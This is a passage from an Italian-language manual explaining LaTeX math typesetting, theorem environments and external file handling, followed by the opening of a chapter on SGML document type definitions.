$\oint$	`$\oint$`	
$\bigcap$	`$\bigcap$`	Intersezione.
$\bigcup$	`$\bigcup$`	Unione.
$\bigsqcup$	`$\bigsqcup$`	
$\bigvee$	`$\bigvee$`	
$\bigwedge$	`$\bigwedge$`	
$\bigoplus$	`$\bigoplus$`	
$\biguplus$	`$\biguplus$`	
$\bigotimes$	`$\bigotimes$`	
$\bigodot$	`$\bigodot$`	

62.13.4 Delimitatori

LaTeX dispone degli stessi delimitatori di TeX, mantenendo la disponibilità dei comandi '**\big**...' e '**\Big**...' per gli ingrandimenti controllati. La tabella seguente serve a richiamare l'uso di questi delimitatori, tenendo conto che l'uso dei comandi '**\big**...' e '**\Big**...' può essere esteso anche oltre gli esempi mostrati.

Tabella 62.289. Delimitatori.

<table>
<tr><th></th><th>Codice</th><th></th><th></th><th>Codice</th><th></th></tr>
<tr><td>$(\quad)$</td><td>$($ $)$</td><td></td><td></td><td></td><td></td></tr>
<tr><td>$\bigl(\quad \bigr)$</td><td>$\bigl($</td><td>$\bigr)$</td><td>$\Bigl(\quad \Bigr)$</td><td>$\Bigl($</td><td>$\Bigr)$</td></tr>
<tr><td>$\biggl(\quad \biggr)$</td><td>$\biggl($</td><td>$\biggr)$</td><td>$\Biggl(\quad \Biggr)$</td><td>$\Biggl($</td><td>$\Biggr)$</td></tr>
<tr><td>$[\quad]$</td><td>$[$</td><td>$]$</td><td>$\lbrack \quad \rbrack$</td><td>$\lbrack$</td><td>$\rbrack$</td></tr>
<tr><td>$\bigl[\quad \bigr]$</td><td>$\bigl[$</td><td>$\bigr]$</td><td>$\Bigl[\quad \Bigr]$</td><td>$\Bigl[$</td><td>$\Bigr]$</td></tr>
<tr><td>$\biggl[\quad \biggr]$</td><td>$\biggl[$</td><td>$\biggr]$</td><td>$\Biggl[\quad \Biggr]$</td><td>$\Biggl[$</td><td>$\Biggr]$</td></tr>
<tr><td>$\{ \quad \}$</td><td>$\{$</td><td>$\}$</td><td>$[\quad]$</td><td>$\lbrace$</td><td>$\rbrace$</td></tr>
<tr><td>$\bigl\{ \quad \bigr\}$</td><td>$\bigl\{$</td><td>$\bigr\}$</td><td>$\Bigl\{ \quad \Bigr\}$</td><td>$\Bigl\{$</td><td>$\Bigr\}$</td></tr>
<tr><td>$\biggl\{ \quad \biggr\}$</td><td>$\biggl\{$</td><td>$\biggr\}$</td><td>$\Biggl\{ \quad \Biggr\}$</td><td>$\Biggl\{$</td><td>$\Biggr\}$</td></tr>
<tr><td>$\langle \quad \rangle$</td><td>$\⟨$</td><td>$\⟩$</td><td></td><td></td><td></td></tr>
<tr><td>$\bigl\langle \quad \bigr\rangle$</td><td>$\bigl\langle$</td><td>$\bigr\rangle$</td><td>$\Bigl\langle \quad \Bigr\rangle$</td><td>$\Bigl\langle$</td><td>$\Bigr\rangle$</td></tr>
<tr><td>$\biggl\langle \quad \biggr\rangle$</td><td>$\biggl\langle$</td><td>$\biggr\rangle$</td><td>$\Biggl\langle \quad \Biggr\rangle$</td><td>$\Biggl\langle$</td><td>$\Biggr\rangle$</td></tr>
<tr><td>$\lfloor \quad \rfloor$</td><td>$\⌊$</td><td>$\⌋$</td><td></td><td></td><td></td></tr>
<tr><td>$\bigl\lfloor \quad \bigr\rfloor$</td><td>$\bigl\lfloor$</td><td>$\bigr\rfloor$</td><td>$\Bigl\lfloor \quad \Bigr\rfloor$</td><td>$\Bigl\lfloor$</td><td>$\Bigr\rfloor$</td></tr>
<tr><td>$\biggl\lfloor \quad \biggr\rfloor$</td><td>$\biggl\lfloor$</td><td>$\biggr\rfloor$</td><td>$\Biggl\lfloor \quad \Biggr\rfloor$</td><td>$\Biggl\lfloor$</td><td>$\Biggr\rfloor$</td></tr>
<tr><td>$\lceil \quad \rceil$</td><td>$\⌈$</td><td>$\⌉$</td><td></td><td></td><td></td></tr>
<tr><td>$\bigl\lceil \quad \bigr\rceil$</td><td>$\bigl\lceil$</td><td>$\bigr\rceil$</td><td>$\Bigl\lceil \quad \Bigr\rceil$</td><td>$\Bigl\lceil$</td><td>$\Bigr\rceil$</td></tr>
<tr><td>$\biggl\lceil \quad \biggr\rceil$</td><td>$\biggl\lceil$</td><td>$\biggr\rceil$</td><td>$\Biggl\lceil \quad \Biggr\rceil$</td><td>$\Biggl\lceil$</td><td>$\Biggr\rceil$</td></tr>
<tr><td>(x)</td><td>$\left(x\right)$</td><td></td><td>$\left(\frac{x}{y}\right)$</td><td>$\left(x\over y\right)$</td><td></td></tr>
<tr><td>$/$</td><td>$/$</td><td></td><td>$\backslash$</td><td>$\backslash$</td><td></td></tr>
<tr><td>$| \quad \|$</td><td>$|$</td><td>$\Vert$</td><td>$\|$</td><td>$\|$</td><td></td></tr>
<tr><td>$\uparrow \quad \downarrow$</td><td>$\uparrow$</td><td>$\downarrow$</td><td>$\Uparrow \quad \Downarrow$</td><td>$\Uparrow$</td><td>$\Downarrow$</td></tr>
<tr><td>$\updownarrow$</td><td>$\updownarrow$</td><td></td><td>$\Updownarrow$</td><td>$\Updownarrow$</td><td></td></tr>
</table>

Esiste comunque la possibilità di usare comandi '**\big**...' '**\Big**...', senza la lettera '**l**' o '**r**' che specifica trattarsi di un delimitatore sinistro o destro:

	Codice			Codice	
$\big(\quad \big)$	$\big($	$\big)$	$\Big(\quad \Big)$	$\Big($	$\Big)$
$\bigg(\quad \bigg)$	$\bigg($	$\bigg)$	$\Bigg(\quad \Bigg)$	$\Bigg($	$\Bigg)$

LaTeX offre anche qualche delimitatore speciale; precisamente delle parentesi graffe orizzontali, da usare sopra o sotto qualcosa:

Comando	Descrizione
`\overbrace{`***testo***`}`	sovrappone una parentesi graffa sopra il testo;
`\underbrace{`***testo***`}`	sovrappone una parentesi graffa sopra il testo.

Sono ancora validi con LaTeX i comandi '**`\overline`**' e '**`\underline`**', per sopralineare e sottolineare nell'ambiente matematico.

62.13.5 Modifica delle caratteristiche del carattere

Anche con LaTeX sono disponibili i comandi che permettono di controllare la dimensione del carattere negli ambienti matematici. In ordine decrescente, si tratta di: '**`\displaystyle`**', '**`\textstyle`**', '**`\scriptstyle`**' e '**`\scriptscriptstyle`**'. Viene mostrato un esempio già apparso a proposito di TeX:

```
$$x+{y\over x+{y\over x+{y\over x+{y\over x+{y\over z}}}}}$$\par
$$x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle
x+{y\over \displaystyle x+{y\over z}}}}}$$\par
```

$$x+{y\over x+{y\over x+{y\over x+{y\over x+{y\over z}}}}}$$

$$x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over \displaystyle x+{y\over z}}}}}$$

A differenza di TeX, LaTeX aggiunge dei comandi cumulabili, anche per la definizione dello stile e della forma del carattere matematico. Nella sezione 62.7.3 è già stato trattato questo argomento, comunque viene riportato nuovamente l'elenco di questi comandi:

Comando	Descrizione
`\mathnormal{`***testo***`}`	testo matematico normale;
`\mathrm{`***testo***`}`	tondo;
`\mathbf{`***testo***`}`	neretto;
`\mathsf{`***testo***`}`	lineare;
`\mathtt{`***testo***`}`	dattilografico;
`\mathit{`***testo***`}`	corsivo;
`\mathcal{`***testo***`}`	calligrafico;
`\mathsc{`***testo***`}`	maiuscoletto;

62.13.6 Espressioni varie

LaTeX consente di usare i comandi per la realizzazione di frazioni e simili, già disponibili con TeX:

- ```
  $${x+y \over z}$$
  ```

  $$x + y \over z$$

- ```
  $${x \over y+z}$$
  ```

  $$x \over y+z$$

- ```
  $${a \over x} + {b \over x} = {a+b \over x}$$
  ```

  $${a \over x} + {b \over x} = {a+b \over x}$$

- ```
  $${x+y \atop z}$$
  ```

  $${x+y \atop z}$$

- ```
  $${x+y \choose z}$$
  ```

  $${x+y \choose z}$$

- ```
  $${x+y \above 1mm z}$$
  ```

  $${x+y \above 1mm z}$$

Inoltre, LaTeX mette a disposizione un comando aggiuntivo per le frazioni, che forse può risultare comodo in alcune situazioni:

Comando	Descrizione
`\frac{`***numeratore***`}{`***denominatore***`}`	frazione normale.

Gli apici e i pedici funzionano con LaTeX esattamente come in TeX:

- ```
  $$10^2$$
  ```

  $$10^2$$

- ```
  $$10^{20}$$
  ```

  $$10^{20}$$

- ```
  $$10^{-2}$$
  ```
  ```

$$10^{-2}$$

- ```
  $$x^a_b$$
  ```

$$x^a_b$$

- ```
  $$x^{y^z}$$
  ```

$$x^{y^z}$$

- ```
  $\sum_{x=0}^n x^3$
  ```

$\sum_{x=0}^n x^3$

- ```
  $$\sum_{x=0}^n x^3$$
  ```

$$\sum_{x=0}^n x^3$$

- ```
  $$\int_0^n f(x)$$
  ```

$$\int_0^n f(x)$$

- ```
  $\lim_{n\to 0} {1 \over n} = \infty$
  ```

$\lim_{n\to 0} {1 \over n} = \infty$

- ```
  $$\lim_{n\to 0} {1 \over n} = \infty$$
  ```

$$\lim_{n\to 0} {1 \over n} = \infty$$

Per ottenere una radice, LaTeX utilizza il comando '**`\sqrt`**', che però si comporta in modo leggermente diverso da TeX:

Comando	Descrizione
`\sqrt[`***n***`]{`***argomento***`}`	produce la radice ***n*** dell'argomento indicato.

Seguono alcuni esempi:

- ```
  $$\sqrt{x^2+y^2}$$
  ```

$$\sqrt{x^2+y^2}$$

- ```
  $$\sqrt[3]{8}$$
  ```

$$\sqrt[3]{8}$$

- ```
  $$\sqrt{x+y \over z}$$
  ```

$$\sqrt{x+y \over z}$$

- ```
  $$x^{\sqrt{y}}$$
  ```

$$x^{\sqrt{y}}$$

LaTeX mette a disposizione gli stessi comandi di TeX per la scrittura dei nomi delle funzioni (sezione 61.17.8). Tuttavia, se si desidera scrivere il nome di una funzione in modo differente, lo si può inserire in una scatola orizzontale:

```
$$\mbox{sen}(2x)$$
```

$$\mbox{sen}(2x)$$

Per sovrapporre qualcosa si può usare il comando '**`\stackrel`**':

```
$$\stackrel{a}{B}$$
```

$$\stackrel{a}{B}$$

62.13.7 Matrici e sistemi di equazioni

Con LaTeX si rappresentano le matrici in modo molto simile alle tabelle:

```
\begin{array}{definizione_delle_colonne}
testo & testo [& testo]... \\
[testo & testo [& testo]... \\]
...
\end{array}
```

La definizione delle colonne avviene, come per l'ambiente '**`tabular`**', attraverso una stringa composta da tre lettere possibili:

Lettera	Significato mnemonico	Descrizione
`l`	*left*	rappresenta una colonna il cui contenuto deve essere allineato a sinistra;
`r`	*right*	rappresenta una colonna il cui contenuto deve essere allineato a destra;
`c`	*center*	rappresenta una colonna il cui contenuto deve essere allineato al centro.

Comunque, come nell'ambiente '**`tabular`**', è possibile anche inserire il simbolo '**`|`**' per ottenere una linea verticale e si può usare il comando '**`\hline`**' per inserire una linea orizzontale.

Segue un esempio molto semplice:
```

```
$$\left (
\begin{array}{cc|c}
a & b & c \\
d & e+f & g \\
\hline
h & i & j \\
\end{array}
\right )$$
```

Come si può osservare, l'ambiente '**array**' crea la tabella in cui vanno inseriti gli elementi della matrice, mentre la delimitazione esterna deve essere aggiunta espressamente:

$$\left (
\begin{array}{cc|c}
a & b & c \\
d & e+f & g \\
\hline
h & i & j \\
\end{array}
\right)$$

Trattandosi di una matrice, l'ambiente '**array**' si presta in pratica anche per realizzare un sistema di equazioni; è sufficiente regolare correttamente l'allineamento delle colonne, come nell'esempio seguente:

```
$$|x| =
\bigg \{
\begin{array}{rl}
x & x \geq 0 \\
-x & x \leq 0 \\
\end{array}
$$
```

$$|x| = \bigg \{ \begin{array}{rl} x & x \geq 0 \\ -x & x \leq 0 \\ \end{array}$$

L'ambiente '**array**' può essere usato in pratica nello stesso modo di '**tabular**', consentendo così la realizzazione di schemi più complessi di quanto mostrato qui. Eventualmente si consulti la sezione 62.11.2.

Tuttavia, esiste un ambiente speciale per elencare delle equazioni allineate a cui poter fare riferimento; si tratta di '**eqnarray**':

```
\begin{eqnarray}
testo & testo & testo \\
testo & testo & testo \\
...
\end{eqnarray}
```

In pratica, si tratta di una tabella in cui si presuppone la presenza di tre colonne, allineate rispettivamente a sinistra, al centro e a sinistra. Sarebbe semplicissimo realizzare questo con l'ambiente '**array**', ma la differenza sta nel fatto che ogni riga viene numerata in qualità di equazione. Si osservi l'esempio, in cui si inseriscono anche delle etichette che poi consentono di farvi riferimento:

```
\begin{eqnarray}
x & = & 2y \label{equazione_xy} \\
y & = & 3z \label{equazione_yz}
\end{eqnarray}

L'equazione \ref{equazione_xy} dice che... mentre l'equazione
\ref{equazione_yz} fa riferimento a...
```

Si osservi il fatto che l'ultima riga della matrice non è terminata con il simbolo '`\\`', perché diversamente si otterrebbe un'equazione in più, numerata, anche se invisibile:

$$\begin{array}{rcl} x & = & 2y \quad (1) \\ y & = & 3z \quad (2) \end{array}$$

L'equazione 1 dice che... mentre l'equazione 2 fa riferimento a...

Ancora più importante è notare che l'ambiente '**`eqnarray`**' viene dichiarato in un contesto normale, ma delimita un ambiente matematico particolare.

Eventualmente, per evitare di numerare una certa riga, si può usare il comando '**`\nonumber`**'; inoltre, se si aggiunge un asterisco al nome dell'ambiente, non viene mostrata la numerazione di alcuna equazione:

```
\begin{eqnarray*}
x & = & 2y \label{equazione_xy} \\
y & = & 3z \label{equazione_yz}
\end{eqnarray*}

L'equazione \ref{equazione_xy} dice che... mentre l'equazione
\ref{equazione_yz} fa riferimento a...
```

$$\begin{array}{rcl} x & = & 2y \\ y & = & 3z \end{array}$$

L'equazione 1 dice che... mentre l'equazione 1 fa riferimento a...

62.13.8 Teoremi, corollari e dichiarazioni simili

LaTeX ha una gestione sofisticata delle dichiarazioni riconducibili a teoremi, corollari e simili. Si parte dalla dichiarazione di un ambiente, al quale si associa un contatore, in modo tale da non porre limitazioni al genere di dichiarazioni che si vogliono gestire.

Inizialmente si definisce il tipo di contesto a cui appartiene un certo gruppo di dichiarazioni:

`\newtheorem{`***ambiente***`}{`***Titolo***`}[`***contatore_di_riferimento***`]`

`\newtheorem{`***ambiente***`}[`***ambiente_collegato***`]{`***Titolo***`}`

La seconda delle due forme permette di definire un ambiente la cui numerazione deve seguire quella di un altro già definito. In questo senso, nel campo indicato come ***ambiente_collegato***, va messo il nome di quello già esistente.

Per cominciare, si osservi l'esempio seguente, senza l'indicazione di alcun contatore di riferimento:

```
\newtheorem{teorema}{Teorema}
```

In questo modo si dichiara l'ambiente '**`teorema`**', con il titolo «Teorema», assieme al contatore '**`teorema`**' (a cui si accede facilmente con il comando '**`\thetheorem`**', creato implicitamente), usato in modo trasparente.

Nel dichiarare un ambiente di questo tipo, occorre evitare di scegliere nomi giù usati da LaTeX.

Dopo la definizione dell'ambiente '**`teorema`**', si può usare in pratica questo ambiente; per esempio così:

```
\begin{teorema}
In teoria, non c'è differenza tra pratica e teoria.
\end{teorema}

\begin{teorema}
In pratica, la teoria è diversa dalla pratica.
\end{teorema}
```

Dal risultato della composizione si può osservare che il titolo, ovvero la parola «Teorema», viene messo in evidenza con un carattere nero, assieme al numero del contatore; subito dopo appare il testo del teorema in un carattere corsivo:

Teorema 1 *In teoria, non c'[U+FFFD]fferenza tra pratica e teoria.*

Teorema 2 *In pratica, la teoria [U+FFFD]versa dalla pratica.*

Nella definizione dell'ambiente '**`teorema`**' è stato omesso il contatore di riferimento, pertanto il conteggio dei teoremi parte da uno e prosegue di conseguenza. Si osservi invece l'esempio seguente, che presuppone un documento di tipo '**`article`**':

```
\newtheorem{teorema}{Teorema}[section]
```

In questo modo, si ottiene una numerazione subordinata al contatore '**`section`**', ovvero alla sequenza delle sezioni:

```
\section{Alcuni teoremi interessanti}
\begin{teorema}
In teoria, non c'è differenza tra pratica e teoria.
\end{teorema}

\begin{teorema}
In pratica, la teoria è diversa dalla pratica.
\end{teorema}
```

```
\section{Un'altra sezione}
\begin{teorema}
Un altro teorema.
\end{teorema}
```

Si può osservare che il numero mostrato dopo il titolo è strutturato, essendo composto da un prefisso che contiene il numero della sezione e da un suffisso che costituisce il numero relativo all'ambito della sezione:

1 Alcuni teoremi interessanti

Teorema 1.1 *In teoria, non c'[U+FFFD]fferenza tra pratica e teoria.*

Teorema 1.2 *In pratica, la teoria [U+FFFD]versa dalla pratica.*

2 Un'altra sezione

Teorema 2.1 *Un altro teorema.*

Con questa tecnica della dipendenza da un altro contatore, si possono costruire dei corollari la cui numerazione dipende dal teorema appena enunciato. Nell'esempio seguente si mostra anche la definizione degli ambienti usati:

```
\newtheorem{teorema}{Teorema}[section]
\newtheorem{corollario}{Corollario}[teorema]

\section{Alcuni teoremi e corollari interessanti}

\begin{teorema}
In teoria, non c'è differenza tra pratica e teoria.
\end{teorema}

\begin{corollario}
Bla bla bla bla.
\end{corollario}

\begin{teorema}
In pratica, la teoria è diversa dalla pratica.
\end{teorema}

\begin{corollario}
Bla bla bla bla.
\end{corollario}
```

1 Alcuni teoremi e corollari interessanti

Teorema 1.1 *In teoria, non c'[U+FFFD]fferenza tra pratica e teoria.*

Corollario 1.1.1 *Bla bla bla bla.*

Teorema 1.2 *In pratica, la teoria [U+FFFD]versa dalla pratica.*

Corollario 1.2.1 *Bla bla bla bla.*

Volendo invece usare una numerazione unica, sia per i teoremi, sia per i corollari, si può usare la seconda forma per la definizione dell'ambiente:

```
\newtheorem{teorema}{Teorema}[section]
\newtheorem{corollario}[teorema]{Corollario}
…
```

Ecco il risultato seguendo l'ultimo esempio già mostrato:

1 Alcuni teoremi e corollari interessanti

Teorema 1.1 *In teoria, non c'[U+FFFD]fferenza tra pratica e teoria.*

Corollario 1.2 *Bla bla bla bla.*

Teorema 1.3 *In pratica, la teoria [U+FFFD]versa dalla pratica.*

Corollario 1.4 *Bla bla bla bla.*

Naturalmente si possono definire anche ambienti di tipo diverso, a seconda delle esigenze; quello che conta è non usare nomi che possono creare conflitti per LaTeX.

Dal momento che queste definizioni sono numerate, diventa importante potervi fare riferimento. Per questo è necessario dichiarare un'etichetta con il comando '**`\label`**' all'interno dell'ambiente:

```
\newtheorem{teorema}{Teorema}[section]

\section{Alcuni teoremi e corollari interessanti}

\begin{teorema} \label{teorema-della-teoria}
In teoria, non c'è differenza tra pratica e teoria.
\end{teorema}

Purtroppo, il teorema \ref{teorema-della-teoria} viene confutato dal
teorema \ref{teorema-della-pratica}:

\begin{teorema} \label{teorema-della-pratica}
In pratica, la teoria è diversa dalla pratica.
\end{teorema}
```

1 Alcuni teoremi e corollari interessanti

Teorema 1.1 *In teoria, non c'[U+FFFD]fferenza tra pratica e teoria.*

Purtroppo, il teorema 1.1 viene confutato dal teorema 1.2:

Teorema 1.2 *In pratica, la teoria [U+FFFD]versa dalla pratica.*

62.14 File esterni

LaTeX prevede alcuni comandi per l'inclusione di file esterni; inoltre, è possibile creare file con informazioni ottenute in fase di composizione, in modo da poterle rielaborare successivamente con altri programmi.

62.14.1 Importazione

Esistono due comandi molto simili per dire a LaTeX di incorporare un file esterno:

Comando	Descrizione
`\input{`***nome_file***`}`	include il file nel punto in cui appare il comando (può essere usato anche nel preambolo);
`\include{`***nome_file***`}`	include il file nel punto in cui appare il comando, dopo un salto pagina (non può essere usato nel preambolo);
`\includeonly{`***nome_file_1*** `,` ***nome_file_2*** `,` ...***nome_file_n***`}`	usato nel preambolo, consente di selezionare quali file possono essere inclusi effettivamente con il comando '**`\include`**'.

Se i nomi dei file non contengono l'estensione, si intende che questa sia '`.tex`'; inoltre, come si può intuire dal nome, il comando '**`\includeonly`**' può interferire solo con le inclusioni attraverso '**`\include`**'.

62.14.2 Importazione letterale

Se si utilizza il pacchetto '**`verbatim`**' viene messo a disposizione un comando particolare per l'inserimento di file esterni da rappresentare nella composizione in modo letterale:

Comando	Descrizione
`\usepackage{verbatim}`	include il pacchetto '**`verbatim`**' (nel preambolo);
`\verbatiminput{`***nome_file***`}`	include il file nel punto in cui appare, rappresentandolo tale e quale.

62.14.3 Creazione di file

Per creare un file si deve prima definire il flusso in uscita, attribuendogli un nome, quindi questo deve essere aperto, inserendovi dei dati, infine lo si chiude. Di solito si creano file con una radice uguale a quella del file contenente il sorgente, attraverso il comando '**`\jobname`**':

Comando	Descrizione
`\newwrite\`***nome_flusso*** `}`	dichiara il nome del flusso da aprire in scrittura;
`\immediate\openout\`***nome_flusso***`\jobname`**.*estensione***	crea il file con estensione '**.*estensione***' e lo associa al flusso indicato;
`\immediate\write\`***nome_flusso*** `{`***testo***`}`	aggiunge in coda al file una riga di testo, come indicato nell'argomento;
`\immediate\closeout\`***nome_flusso***	chiude il file corrispondente al flusso indicato;
`\jobname`	si espande nella stringa corrispondente alla radice del nome del file LaTeX sorgente.

L'esempio seguente mostra in che modo si potrebbe realizzare un indice generale elementare:

```
...
\chapter*{Indice generale}
\input{\jobname.indice}
...
\newwrite\miofile
\immediate\openout\miofile\jobname.indice
...
\chapter*{Introduzione}
\immediate\write\miofile{Introduzione {\arabic{page}}\par}
...
\chapter{Bla bla bla}
\immediate\write\miofile{Bla bla bla {\arabic{page}}\par}
...
\appendix
\chapter{Appendice}
\immediate\write\miofile{Appendice {\arabic{page}}\par}
...
\immediate\closeout\miofile
```

All'inizio dell'esempio si vede l'inclusione di un file con lo stesso nome del sorgente LaTeX ed estensione '`.indice`'. Come si può intendere, la prima volta questo file non esiste e l'inclusione non produce alcun risultato. Successivamente si crea questo file, quindi, all'inizio di ogni sezione principale si annota il titolo di questa e la pagina in cui si trova. Nella composizione successiva, il file viene incluso e successivamente rigenerato, probabilmente con numeri di pagina diversi, a causa dell'allungamento del documento; nella terza composizione si dovrebbe ottenere un risultato soddisfacente. Ecco come si potrebbe presentare il file generato in questo modo:

```
Introduzione {1}\par
Bla bla bla {10}\par
Appendice {25}\par
```

Nell'esempio si deve osservare che '**`\arabic{page}`**' si è trasformato correttamente nel numero della pagina e '**`\par`**' è rimasto intatto. Nel caso si inserissero delle macro, si potrebbe ottenere un risultato indesiderabile. Per esempio, si potrebbe voler separare il titolo dal numero della pagina con dei puntini di sospensione elastici:

```
\immediate\write\miofile{Introduzione\dotfill{\arabic{page}}\par}
```

Il file generato si presenterebbe così:

```
Introduzione\unhbox \voidb@x \cleaders ↩
↪\hbox to.44em{\hss .\hss }\hfill \kern \z@ {1}\par
```

In questi casi si può usare il comando '**`\string`**' per evitare che la barra obliqua inversa del comando '**`\dotfill`**' venga presa in considerazione:

```
\immediate\write\miofile{Introduzione\string\dotfill{\arabic{page}}\par}
```

62.15 Riferimenti

- *General documentation about (La)TeX*
  ⟨*http://tex.loria.fr/english/general.html* ⟩
- Tobias Oetiker, *The not so short introduction to LaTeX 2e*, 2001
  ⟨*http://tobi.oetiker.ch/lshort/* ⟩
- Leslie Lamport et al., *LaTeX 2e*
  ⟨*http://www.emerson.emory.edu/services/latex/latex2e/latex2e_toc.html* ⟩
  info latex
- Michel Goossens, Franck Mittelbach, Alexander Samarin, *The LaTeX Companion*, Addison-Wesley, 1994
- Leslie Lamport, *LaTeX, A document preparation system, User's guide and reference manual*, Addison-Wesley, seconda edizione, 1994
- Claudio Beccari, *LaTeX, Guida a un sistema di editoria elettronica*, Hoepli, 1991, ISBN 88-203-1931-4
- Robert Kiesling, *teTeX HOWTO: The Linux-teTeX Local Guide*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Documentazione interna della distribuzione teTeX: '`texmf/doc/*`', in particolare '`texmf/doc/latex/latex2e-html/`', dove si trova una guida di LaTeX in HTML
- Documentazione interna Info: *info web2c*, *info tex*, *info latex*, *info pdftex*
- Sebastian Rahtz, Hàn Thé Thành, *The pdfTeX user manual*, '`texmf/doc/pdftex/manual.pdf`'

- Vidar Bronken Gundersen, Rune Mathisen, *SGML/XML character entity reference* ⟨http://www.bitjungle.com/isoent/ ⟩

[1] Tutti i comandi che definiscono un livello di suddivisione del documento, da '**`\part`**' a '**`\subparagraph`**', consentono di utilizzare un asterisco alla fine del nome (come per esempio '**`\section*{...}`**'); l'utilizzo di questo porta a sopprimere la numerazione della voce e il suo inserimento nell'indice generale (ammesso che queste due cose siano previste normalmente).

[2] Eventualmente, per ottenere il carattere «tilde», oltre a usare il comando '**`\textasciitilde`**' si può usare invece '**`$\sim$`**', per produrre un carattere che a volte viene ritenuto più grazioso.

[3] Naturalmente, '**`makeindex`**' può essere usato anche specificando delle opzioni; in tal caso si può consultare la pagina di manuale *makeindex(1)*.

[4] È bene ricordare che la tabella si compone di quattro colonne, dove la seconda e la terza non sono separate da una linea verticale.

[5] Qui non sono state usate della parentesi quadre sintattiche per non creare confusione.

SGML

Capitolo 63

63.1 DTD: definizione del tipo di documento 3494

63.1.1 Elementi 3494
63.1.2 Regole di minimizzazione 3496
63.1.3 Modello del contenuto 3497
63.1.4 Dichiarazione multipla 3499
63.1.5 Attributi 3500
63.1.6 Entità 3502
63.1.7 Sezioni marcate 3505
63.1.8 Dettagli importanti 3507
63.1.9 Abbinare il DTD al documento SGML 3509
63.1.10 Mappe di sostituzione (shortref) 3513
63.1.11 Elementi di testo riportato letteralmente 3520
63.1.12 Cataloghi 3521

63.2 Elaborazione SGML 3524

63.2.1 SP 3525
63.2.2 Sgmls 3528
63.2.3 SGMLSpm 3530
63.2.4 Esempio di un mini-sistema SGML 3537
63.2.5 Lo scalino successivo 3545
63.2.6 Organizzazione degli strumenti SGML in una distribuzione GNU/Linux 3549
63.2.7 perlSGML: analisi di un DTD 3549

63.3 Dichiarazione SGML 3551

63.3.1 Codifica 3552
63.3.2 Capacità 3554
63.3.3 Ambito 3555
63.3.4 Sintassi concreta 3555
63.3.5 Proprietà 3559
63.3.6 Applicazione di una dichiarazione SGML in pratica 3561
63.3.7 Esempio conclusivo 3561

63.4 Riferimenti 3563

L'SGML non è un «linguaggio di scrittura» da imparare e usare così com'è. Al contrario, è un linguaggio per definire il modo in cui il testo deve essere scritto: solo dopo si può iniziare a scrivere secondo le regole stabilite.

Volendo fare un abbinamento con i linguaggi di programmazione, sarebbe come se prima si dovesse definire il linguaggio stesso, per poi poter scrivere i programmi secondo quelle regole.

La descrizione che viene fatta potrebbe risultare noiosa, considerato che solo dopo molte sezioni si mostra in che modo realizzare effettivamente il proprio DTD e applicarlo a un documento. Considerata la complessità dei concetti espressi, si ritiene più conveniente una spiegazione che parte dal basso, piuttosto che usare un approccio inverso, il quale presumerebbe una conoscenza minima di partenza.

63.1 DTD: definizione del tipo di documento

Le regole che definiscono la struttura e la scomposizione del documento, assieme a quasi tutte le altre che governano la logica dell'SGML, sono contenute nel DTD.

Queste regole possono essere permissive o restrittive, in funzione degli obiettivi che ci si prefigge; ovvero, in funzione del contenuto di quel tipo di documento e delle cose che con questo ci si aspetta di fare.

La complessità del mondo reale, fa sì che non ci sia modo di realizzare un DTD unico che vada bene per tutti gli scopi. Un DTD ipotetico, che volesse andare bene un po' per tutto, dovrebbe essere anche qualcosa di estremamente generico e permissivo, annullando tutti i benefici dell'utilizzo dell'SGML.

Esempi reali di DTD «tuttofare» sono quelli delle prime versioni dell'HTML, in cui tutto si concentra nella definizione di elementi il cui scopo prevalente è definire, anche se solo vagamente, l'aspetto finale che dovrebbe avere il risultato. Lo scopo dell'SGML non è quello di stabilire il risultato finale del documento, tuttavia, si può benissimo predisporre un DTD orientato a questo obiettivo. Ma questo, nel caso dell'HTML, giustifica poi l'estrema debolezza della sua struttura, dove è ammesso quasi tutto.

È difficile comprendere subito il significato pratico di questo approccio: la definizione del tipo di documento e poi la scrittura del testo. Lo si può comprendere solo quando si lavora assiduamente nell'ambito della produzione di documentazione, quando ci si accorge che le proprie esigenze sono diverse da quelle degli altri, per cui diventa difficile adattarsi all'uso di modelli già esistenti.

63.1.1 Elementi

Dal punto di vista di SGML, una singola unità di testo la cui dimensione varia a seconda del contesto, è un ***elemento***, a cui si impone l'attribuzione di un nome. SGML non fornisce alcun modo per attribuire un significato agli elementi del testo, tranne per il fatto di avergli dato un nome. Piuttosto, attraverso un analizzatore SGML, è possibile verificare che questi siano collocati correttamente secondo le relazioni stabilite.

I nomi degli elementi, sono definiti tecnicamente ***identificatori generici***, utilizzando la sigla GI (*Generic identifier*).

Nel sorgente SGML, gli elementi sono indicati normalmente attraverso l'uso di marcatori che hanno la forma consueta '`<...>`' e '`</...>`', dove il primo inizia l'elemento nominato tra le parentesi angolari e il secondo chiude l'elemento. Per esempio, si potrebbe definire l'elemento '**`acronimo`**' e utilizzarlo nel testo nel modo seguente:

```
...Il gruppo <acronimo>ILDP</acronimo> si occupa di...
```

Il significato che questo elemento può avere, non è definito dall'SGML. Il fatto di avere delimitato l'elemento '**`acronimo`**' potrebbe servire per estrarre dal documento tutte le sigle utilizzate, per inserire queste in un indice particolare, oppure solo per fini stilistici di evidenziamento uniforme.

La difficoltà nella scrittura di un testo in SGML si riduce a questo: utilizzare i marcatori necessari a identificare correttamente i vari elementi del testo, secondo le regole stabilite nella definizione del documento stesso (il DTD).

63.1.1.1 Abbreviazioni nell'indicazione degli elementi

Prima ancora di iniziare a vedere il contenuto del DTD, è bene chiarire che esistono altri modi per delimitare un elemento SGML. Per la precisione, si tratta di abbreviazioni di cui alcuni autori non riescono a fare a meno. La scrittura di un sorgente SGML è un po' come quella di un sorgente di un linguaggio di programmazione: si può essere concisi o prolissi. Di solito, quando si è concisi si scrive del codice difficile da leggere, mentre in generale è meglio scrivere tutto in forma chiara senza risparmiare. L'esempio visto in precedenza,

```
...Il gruppo <acronimo>ILDP</acronimo> si occupa di...
```

può essere abbreviato in

```
...Il gruppo <acronimo>ILDP</> si occupa di...
```

e anche nel modo seguente, che però porta con sé un vincolo importante: non si possono usare delle barre oblique all'interno dell'elemento abbreviato in questo modo.

```
...Il gruppo <acronimo/ILDP/ si occupa di...
```

Con questi sistemi, oltre a rendere il sorgente SGML poco leggibile, si rischia di non ottenere i risultati che si attendono se gli strumenti di elaborazione utilizzati non riconoscono tali estensioni del linguaggio.

63.1.1.2 Primo impatto con un DTD

